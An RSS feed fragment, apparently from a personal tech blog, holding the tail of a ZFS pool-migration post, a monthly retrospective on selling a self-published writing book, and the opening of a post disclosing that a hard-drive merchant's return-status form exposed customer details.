&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@redaction_bookmarks=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@redacted_datasets=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@bookmark_written=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@log_spacemap=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@livelist=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@device_rebuild=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@zstd_compress=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@draid=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@zilsaxattr=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@head_errlog=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@blake3=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@block_cloning=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@vdev_zaps_v2=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@redaction_list_spill=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@raidz_expansion=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@fast_dedup=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@longname=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">set&lt;/span> feature@large_microzap=enabled &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://forums.truenas.com/u/nugents/summary">@NugentS&lt;/a> on the TrueNAS forums for &lt;a href="https://forums.truenas.com/t/raidz1-to-raidz2-without-doubling-drives/40718/2?u=mtlynch">teaching me the clever sparse file hack&lt;/a> for creating a larger RAIDZ2 pool. Thanks to Chris from iXsystems for &lt;a href="https://www.reddit.com/r/truenas/comments/1m7b5e0/migrating_a_zfs_pool_from_raidz1_to_raidz2/n4rd6uh/?context=3">correcting some of these details&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Refactoring English: Month 7</title><link>https://mtlynch.io/retrospectives/2025/07/</link><pubDate>Fri, 11 Jul 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I look for ways to limit the number of half-complete tasks I&amp;rsquo;m juggling.&lt;/li>
&lt;li>I brainstorm ways to talk with more of my early readers.&lt;/li>
&lt;li>I have trouble accepting a design decision in the Gleam language.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="offer-a-lower-friction-way-for-users-to-pre-order-my-book">Offer a lower-friction way for users to pre-order my book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Switched from Kickstarter pre-orders to Stripe payment links.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I ran the initial pre-sale through Kickstarter, so I decided to just stick with it for subsequent pre-orders. After a couple of months, I realized Kickstarter requires customers to create an account to buy the book, which adds a lot of friction and discourages people from buying.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I look for ways to limit the number of half-complete tasks I&amp;rsquo;m juggling.&lt;/li>
&lt;li>I brainstorm ways to talk with more of my early readers.&lt;/li>
&lt;li>I have trouble accepting a design decision in the Gleam language.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="offer-a-lower-friction-way-for-users-to-pre-order-my-book">Offer a lower-friction way for users to pre-order my book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Switched from Kickstarter pre-orders to Stripe payment links.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I ran the initial pre-sale through Kickstarter, so I decided to just stick with it for subsequent pre-orders. After a couple of months, I realized Kickstarter requires customers to create an account to buy the book, which adds a lot of friction and discourages people from buying.&lt;/p>
&lt;p>Switching to Stripe seemed to impact sales, as there were 22 pre-orders on Stripe in 30 days vs. just 7 pre-orders when it was Kickstarter-only. It&amp;rsquo;s not a perfect apples-to-apples comparison because I also published a new sample chapter after switching to Stripe.&lt;/p>
&lt;h3 id="publish-a-new-sample-chapter-on-the-book-website">Publish a new sample chapter on the book website&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/chapters/release-announcements/">&amp;ldquo;How to Write Compelling Software Release Announcements&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This got a positive reception on &lt;a href="https://lobste.rs/s/ntl2iw/how_write_compelling_release">Lobsters&lt;/a> and was doing well on &lt;a href="https://news.ycombinator.com/item?id=44377666">Hacker News&lt;/a>, but it got moderated off the front page. I suspect users on Hacker News disliked the emphasis on marketing and flagged it.&lt;/p>
&lt;p>I got more useful feedback on this chapter than on any previous chapter. A lot of it was negative feedback, but that was legitimately helpful because I found the criticism fair. I revised the post based on the feedback, and the discussions gave me ideas for two new sections (&lt;a href="https://refactoringenglish.com/chapters/release-announcements/#briefly-introduce-your-product">&amp;ldquo;Briefly introduce your product&amp;rdquo;&lt;/a> and &lt;a href="https://refactoringenglish.com/chapters/release-announcements/#turn-your-numbers-into-graphs">&amp;ldquo;Turn your numbers into graphs&amp;rdquo;&lt;/a>).&lt;/p>
&lt;h3 id="meet-at-least-10-readers-on-video-calls">Meet at least 10 readers on video calls&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Met three readers on video calls.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I fell way below my goal on this. Part of the problem was that I only scheduled two calls for the whole month, but another issue is that I&amp;rsquo;m failing to draw attendance from early readers on the calls I have.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;p>Metrics are back!&lt;/p>
&lt;p>I used to &lt;a href="https://mtlynch.io/retrospectives/2024/04/#tinypilot-stats">publish my finances every month&lt;/a>, but I stopped after I sold TinyPilot, as there weren&amp;rsquo;t any interesting numbers to report. Now, that the pre-sale is going, I have relevant numbers to share again.&lt;/p>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574]"
 data-revenue="[0,0,0,6469,241.45,887.94]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2025&lt;/th>
 &lt;th>June 2025&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>2,986&lt;/td>
 &lt;td>6,574&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;3,588 (&amp;#43;120%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$193.20&lt;/td>
 &lt;td>$597.24&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$404.04 (&amp;#43;209%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from consulting&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$242.45&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$242.45 (&amp;#43;inf%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from sponsors&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$48.25&lt;/td>
 &lt;td>$0.00 (0%)&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$241.45&lt;/td>
 &lt;td>$887.94&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-positive"
 >&amp;#43;$646.49 (&amp;#43;268%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>I&amp;rsquo;m glad to see an increase in visitors lead to an increase in sales, and I&amp;rsquo;m especially glad to see sales grow disproportionately to visits. I&amp;rsquo;m not sure if I&amp;rsquo;ll be able to sustain it, but it will be a good indicator that people are enjoying the book enough to recommend to others.&lt;/p>
&lt;h2 id="how-can-i-juggle-fewer-drafts-at-once">How can I juggle fewer drafts at once?&lt;/h2>
&lt;p>One of the strategies that&amp;rsquo;s been successful for this book is committing to at least an hour per day of &amp;ldquo;difficult&amp;rdquo; writing. That means that I can&amp;rsquo;t use the hour to do formatting, grammar checking, or proofreading.&lt;/p>
&lt;p>My strategy has worked well. In June, I think I published more than in any other month of my career. I added three new chapters to the &lt;em>Refactoring English&lt;/em> ebook, published &lt;a href="https://refactoringenglish.com/chapters/release-announcements/">one new sample chapter&lt;/a>, and I wrote &lt;a href="https://mtlynch.io/goharddrive-leak/">three&lt;/a> &lt;a href="https://mtlynch.io/notes/gleam-first-impressions/">new&lt;/a> &lt;a href="https://mtlynch.io/notes/gleam-call-elixir/">posts&lt;/a> on this blog.&lt;/p>
&lt;p>The problem with my strategy is that abstaining from easier writing tasks means I accrue posts that are almost done but need some grammar checking and proofreading. Particularly last month, I had a lot of partially-finished writing, and I felt like I was wasting mental cycles keeping track of what was published and what still needed final edits.&lt;/p>
&lt;p>I guess the underlying problem was that I kept starting new blog posts. Maybe the simple answer is that I have to avoid starting new posts when I have incomplete pending posts.&lt;/p>
&lt;h2 id="how-can-i-talk-more-with-early-access-readers">How can I talk more with early access readers?&lt;/h2>
&lt;p>One of the benefits of selling &lt;em>Refactoring English&lt;/em> as I write it is that people willing to pre-order an incomplete book are probably especially enthusiastic relative to the average reader. My plan was to talk frequently to early readers to make sure the book answers their questions and feels accessible.&lt;/p>
&lt;p>In practice, I&amp;rsquo;ve had a hard time connecting with readers. I&amp;rsquo;ve sent short surveys about sample chapters or invited people to reply with feedback, but I&amp;rsquo;ve only received a couple of responses from ~1,400 mailing list subscribers and ~250 pre-order customers.&lt;/p>
&lt;p>I started doing live video sessions, and I&amp;rsquo;ve tried different things in those sessions including lectures, writing workshops, office hours, and book club-style discussions of popular software blog posts. The live sessions have been fun and the attendees have given me excellent feedback, but only a couple of readers attend each call, so it feels like I&amp;rsquo;m still only reaching a tiny sliver of readers.&lt;/p>
&lt;p>The other successful source of feedback has been clients who purchase 1:1 editing feedback. I&amp;rsquo;ve only had three paying clients, but working with them helps me see what writing issues people in my target audience want help with.&lt;/p>
&lt;p>Based on this, here are my ideas for talking more with readers:&lt;/p>
&lt;ul>
&lt;li>Reach out to readers individually after they purchase to ask about what they want to learn from the book and whether it meets their expectations so far.&lt;/li>
&lt;li>Polish my writing consulting page a bit to make it more appealing.&lt;/li>
&lt;li>Offer a discounted consulting option for people who are motivated to learn but can&amp;rsquo;t afford the price.&lt;/li>
&lt;li>Reach out to users on Hacker News who keep submitting articles but fail to gain traction to see if they&amp;rsquo;re interested in hiring me for feedback.&lt;/li>
&lt;li>Offer a &amp;ldquo;book me for your team&amp;rdquo; option so I can present a writing topic to someone&amp;rsquo;s work team and answer their questions.&lt;/li>
&lt;/ul>
&lt;h2 id="how-can-i-improve-marketing-for-the-book">How can I improve marketing for the book?&lt;/h2>
&lt;p>Along with half-finished blog posts, there are a lot of simple things I want to do to market my book, but I haven&amp;rsquo;t allocated time for them, so they just keep taking up space in my mind.&lt;/p>
&lt;p>Here&amp;rsquo;s my braindump of all the low-hanging fruit tasks I&amp;rsquo;d like to complete:&lt;/p>
&lt;ul>
&lt;li>Improve the website.
&lt;ul>
&lt;li>Add a favicon.&lt;/li>
&lt;li>Tweak the UI so that the call-to-action is to buy early access rather than sign up for the mailing list.&lt;/li>
&lt;li>Improve the &lt;a href="https://refactoringenglish.com/early-access/">early access page&lt;/a>.
&lt;ul>
&lt;li>I&amp;rsquo;ve already rebranded it from &amp;ldquo;pre-order&amp;rdquo; to &amp;ldquo;early access.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Show on the website which chapters are available rather than just the count.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Publish the interview with a blogger that I recorded a year ago.
&lt;ul>
&lt;li>I recorded this for my planned reboot of &lt;em>Hit the Front Page of Hacker News&lt;/em>, but I ended up shelving that product, and it&amp;rsquo;s been bothering me that I asked someone to do an interview and have just been sitting on it forever.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Port web versions of excerpts to the ebook and mark those chapters as complete on the website.
&lt;ul>
&lt;li>I&amp;rsquo;ve done most of these, but it&amp;rsquo;s so boring that I put it off, and there are still three chapters that exist in the web excerpts that I haven&amp;rsquo;t yet integrated into the ebook.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="programming-in-gleam-and-missing-the-humble-for-loop">Programming in Gleam and missing the humble &lt;code>for&lt;/code> loop&lt;/h2>
&lt;p>In an effort to learn a new programming language this year, I&amp;rsquo;ve been experimenting with &lt;a href="https://gleam.run">Gleam&lt;/a>. I&amp;rsquo;m using it to parse my old AOL Instant Messenger chat logs, which look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:44] Jane: hi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[18:55] Me: hey whats up
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Session Close (Jane): Mon Sep 12 18:56:02 2005
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I wrote a longer post about &lt;a href="https://mtlynch.io/notes/gleam-first-impressions/">my initial impressions of Gleam&lt;/a>, and I&amp;rsquo;ve spent several more hours programming in it since then.&lt;/p>
&lt;p>One of the hardest adjustments in Gleam is working without loops. Gleam deliberately has no loops. Instead, you&amp;rsquo;re supposed to use recursive functions or call a mapping function for each element in a list.&lt;/p>
&lt;!-- markdownlint-disable no-space-in-code -->
&lt;p>The lack of loops is giving me the most trouble when I&amp;rsquo;m trying to split my chat logs into tokens for parsing. The delimiters I care about are &lt;code>[' ', '\n', '[', ']']&lt;/code>. I also care about colon, but only if a single space follows it, like this: &lt;code>': '&lt;/code>.&lt;/p>
&lt;p>In a language like Go, I&amp;rsquo;d iterate through the string in a &lt;code>for&lt;/code> loop. When I found a space character, I&amp;rsquo;d check if the previous character was a &lt;code>:&lt;/code> so that I could handle the &lt;code>: &lt;/code> case.&lt;/p>
&lt;p>Without loops in Gleam, I end up building this odd decision tree where a lot of the leaves &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/src/commit/0988084b633d8382261276b2979d4f06508999a2/src/string_manipulation.gleam#L5-L63">duplicate the same complicated function code&lt;/a>.&lt;/p>
&lt;p>I find a lot of Gleam&amp;rsquo;s design choices interesting in that when I do something &amp;ldquo;the Gleam way,&amp;rdquo; it feels elegant, but with loops, it just feels like I&amp;rsquo;m working without the right tools.&lt;/p>
&lt;p>I&amp;rsquo;m going to keep experimenting with Gleam, but I&amp;rsquo;m also going to give Elixir or OCaml a shot, as they have a lot of the features I like in Gleam while addressing some of my pain points.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/release-announcements/">&amp;ldquo;How to Write Compelling Software Release Announcements&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/goharddrive-leak/">&amp;ldquo;goHardDrive Leaked Personal Data for Thousands of Customers&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/gleam-first-impressions/">&amp;ldquo;My First Impressions of Gleam&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/gleam-call-elixir/">&amp;ldquo;A Simple Example of Calling an Elixir Library from Gleam&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Wrote three new chapters in the ebook version of &lt;em>Refactoring English&lt;/em>&lt;/li>
&lt;li>Integrated into the ebook three previous chapters I&amp;rsquo;d published as &lt;a href="https://refactoringenglish.com/chapters/">excerpts on the web&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Resist the temptation to start new blog posts when I already have partially-finished posts.&lt;/li>
&lt;li>I should seek more conversations with readers by doubling down on what&amp;rsquo;s working.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Talk to at least 10 readers I haven&amp;rsquo;t spoken to before.&lt;/li>
&lt;li>Clear the backlog of my marketing ideas.&lt;/li>
&lt;li>Publish a new chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>goHardDrive Leaked Personal Data for Thousands of Customers</title><link>https://mtlynch.io/goharddrive-leak/</link><pubDate>Wed, 02 Jul 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/goharddrive-leak/</guid><description>&lt;p>I recently returned a product to goHardDrive, a merchant that specializes in selling used hard drives. During the return process, I discovered that they were accidentally publishing details about thousands of their customers, including their full names, mailing addresses, email addresses, and order details.&lt;/p>
&lt;h2 id="the-leak">The leak&lt;/h2>
&lt;p>When I requested a return from goHardDrive, they assigned me a return merchandise authorization (RMA) number ending in five numeric digits. I&amp;rsquo;m not publishing my actual RMA number, but you can imagine that it was a number like this:&lt;/p></description><content:encoded>&lt;p>I recently returned a product to goHardDrive, a merchant that specializes in selling used hard drives. During the return process, I discovered that they were accidentally publishing details about thousands of their customers, including their full names, mailing addresses, email addresses, and order details.&lt;/p>
&lt;h2 id="the-leak">The leak&lt;/h2>
&lt;p>When I requested a return from goHardDrive, they assigned me a return merchandise authorization (RMA) number ending in five numeric digits. I&amp;rsquo;m not publishing my actual RMA number, but you can imagine that it was a number like this:&lt;/p>
&lt;ul>
&lt;li>&lt;code>GHD12345&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>To check the status of my return, I typed my RMA number into a form at &lt;code>ghdwebapps.com/rma&lt;/code>:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/goharddrive-leak/rma-form.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/goharddrive-leak/rma-form_hu_3787c3b3faa128b1.webp 300w, https://mtlynch.io/goharddrive-leak/rma-form_hu_76dc6235e1718580.webp 600w, https://mtlynch.io/goharddrive-leak/rma-form_hu_cc82c6286e44158a.webp 800w, https://mtlynch.io/goharddrive-leak/rma-form_hu_6e0212309f447fe6.webp 1200w, https://mtlynch.io/goharddrive-leak/rma-form.webp 1262w'
 src="https://mtlynch.io/goharddrive-leak/rma-form.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>goHardDrive&amp;rsquo;s RMA status check form. Yes, it says “Enter email” when it actually wants an RMA number.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When I entered my RMA number, I saw this screen:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/goharddrive-leak/ghd-rma.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/goharddrive-leak/ghd-rma_hu_ffd378775c487e6b.webp 300w, https://mtlynch.io/goharddrive-leak/ghd-rma_hu_f0d57196ccf4baa8.webp 600w, https://mtlynch.io/goharddrive-leak/ghd-rma_hu_eec69609be6cf31e.webp 800w, https://mtlynch.io/goharddrive-leak/ghd-rma_hu_3e3049482b92f3e8.webp 1200w, https://mtlynch.io/goharddrive-leak/ghd-rma.webp 1210w'
 src="https://mtlynch.io/goharddrive-leak/ghd-rma.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>That screen shows every bit of private information that goHardDrive knew about me, including:&lt;/p>
&lt;ul>
&lt;li>My name&lt;/li>
&lt;li>My mailing address&lt;/li>
&lt;li>My email address&lt;/li>
&lt;li>My phone number (which I thankfully did not provide)&lt;/li>
&lt;li>My order number and date&lt;/li>
